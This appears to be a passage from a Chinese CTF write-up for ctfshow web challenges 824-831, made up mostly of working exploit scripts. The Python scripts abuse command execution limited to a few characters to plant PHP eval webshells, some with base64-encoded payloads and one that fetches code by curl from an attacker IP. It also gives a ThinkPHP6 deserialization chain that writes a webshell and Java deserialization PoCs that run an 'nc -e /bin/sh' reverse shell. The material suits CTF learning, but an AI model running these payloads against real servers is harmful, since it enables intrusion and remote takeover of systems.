'>dir',
'*>v',
'>rev',
'*v>z',
'sh z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'>php.',
'>j\\#',
'>vm',
'*>v',
'>rev',
'*v>z',
'sh z'
]
clearFile_payload=[
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]
shell_payload=[
'>tar',
'>vcf',
'>z'
]
file={
'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
}
def changeFile():
for p in chagneFile_payload:
sendPayload(url,p)
print("[*] create "+p.strip())
time.sleep(delay)
def clearFile():
for p in clearFile_payload:
sendPayload(url_2,p)
print("[*] create "+p.strip())
time.sleep(delay)
def getshell():
for p in shell_payload:
sendPayload(url_2,p)
print("[*] create "+p.strip())
time.sleep(delay)
data={
"cmd":"* /t*"
}
requests.post(url_2,data=data,files=file)
data={
"cmd":"php z"
}
requests.post(url_2,data=data)
def checkShell():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")
def sendPayload(url,payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
changeFile()
clearFile()
getshell()
checkShell()
def main():
run()
if __name__ == '__main__':
main()
web824(5字符可写,无dir)
题目同上
写入grep h
接着执行* > j
实际执行的是grep h index.php
得到
highlight_file(__FILE__);
shell_exec($cmd);
之后将他cp到index.php,即
将j中的内容添加到index.php后面并且写入到i中
cat * >> i*
最后将i的copy到index.php中。
不过适用的情况不多,需要最终调用的命令带h或者p。
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time
url = ""
payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(0.3)
print("[*] Attack success!!!Webshell is "+url)
def main():
run()
if __name__ == '__main__':
main()
即可命令执行
(由于没有回显,可以在当前页面写一句话木马)
web825(4字符,可写,有dir)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
#flag in database;
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 4){
shell_exec($cmd);
}
?>
本题主要就是构造ls -t
可以利用
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
进行构造ls -t > x中
之后执行x就行
脚本
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time
url = ""
payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(0.3)
def check():
response = requests.get(url+"a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"a.php")
def main():
run()
check()
if __name__ == '__main__':
main()
(这个码是get传参,需要套娃)
web826(4字符,可写,无dir)
没有dir,师傅给出了新的方法
这里需要flask搭建一个输出
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
的网页
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:55:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time
url = "http://68786806-1097-4051-acc5-9b89a2d7e85e.challenge.ctf.show/"
#url="http://101.34.94.44/aaa/index.php" yu师傅搭建的环境
payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',
#这个地方的ip是用的10进制,因为用普通的ip地址存在多个点号。
#可以用这个网站转https://tool.520101.com/wangluo/jinzhizhuanhuan/
'>sh',
'>\\|\\',
'>38\\',
'>44\\',
'>\\:\\',
'>57\\',
'>33\\',
'>95\\',
'>94\\',
'>20\\',
'>\\ \\',
'>rl\\',
'>cu\\',
'sh z',
'sh a',
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)
def check():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")
def main():
run()
check()
if __name__ == '__main__':
main()
web827(4字符,可写、无dir,不出网)
服务器不出网则无法使用curl命令,老套路
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-06 13:25:41
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-10 20:56:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time
url = ""
payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh z',
'sh a'
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)
def check():
response = requests.get(url+"a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"a.php")
def main():
run()
check()
if __name__ == '__main__':
main()
总结
web828(国赛TP6的反序列化)
payload
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-05-27 15:32:51
# @Last Modified by: h1xa
# @Last Modified time: 2022-05-31 20:16:32
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace League\Flysystem\Adapter;
class Local{
}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\local;
class Adapter{
protected $adapter;
protected $file;
protected $cache = [];
protected $autosave;
public function __construct(){
$this->adapter=new Local();
$this->autosave=false;
$this->file="1.php";
array_push($this->cache, '<?php $a=$_POST[1];eval($a);?>');
}
}
$adapter = new Adapter();
echo urlencode(serialize($adapter));
大概思路
寻找_destruct发现
跟进save发现
在这里我们看到write函数
其中只要file和content两个参数可控,就应该可以写文件
跟进getforstorage发现
可以发现我们将恶意代码放给cache属性,他就会json加密并赋给content,所以content可控,由于file本身就是属性,所以file也可控
接下类就是查看write函数
全局查找write函数可以发现local类中有write函数,同时还有file_put_contents函数
分析write函数发现location是可控的
因此写文件成立
利用上面的poc可以写文件且写入成功
网上其他payload
web829
poc
package com.ctfshow.entity;
import java.io.*;
import java.util.Base64;
public class test{
public static void main(String[] args) throws IOException {
User user = new User("nc ip port -e /bin/sh");
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(user);
byte[] bytes = bo.toByteArray();
bo.close();
oo.close();
String userData = new String(Base64.getEncoder().encode(bytes));
System.out.println(userData);
}
}
package com.ctfshow.entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class User implements Serializable{
private static final long serialVersionUID = -3254536114659397781L;
private String username;
public User(String username) {
this.username = username;
}
public String getName(){
return this.username;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.username);
}
}
web 830
poc
package com.ctfshow.entity;
import java.io.*;
import java.util.Base64;
public class test{
public static void main(String[] args) throws IOException {
User user = new User("cyxin");
user.secret = "nc ip port -e /bin/sh";
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(user);
byte[] bytes = bo.toByteArray();
bo.close();
oo.close();
String userData = new String(Base64.getEncoder().encode(bytes));
System.out.println(userData);
}
}
package com.ctfshow.entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class User extends BaseUser{
private String username;
public User(String username) {
this.username = username;
}
public String getName(){
return this.username;
}
}
package com.ctfshow.entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class BaseUser implements Serializable {
private static final long serialVersionUID = -9058183616471264199L;
public String secret=null;
}
web831
package com.ctfshow.entity;
import java.io.*;
import java.util.Base64;
public class test{
public static void main(String[] args) throws IOException {
BaseUser user = new BaseUser();
user.secret = "nc ip port -e /bin/sh";
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(user);
byte[] bytes = bo.toByteArray();
bo.close();
oo.close();
String userData = new String(Base64.getEncoder().encode(bytes));
System.out.println(userData);
}
}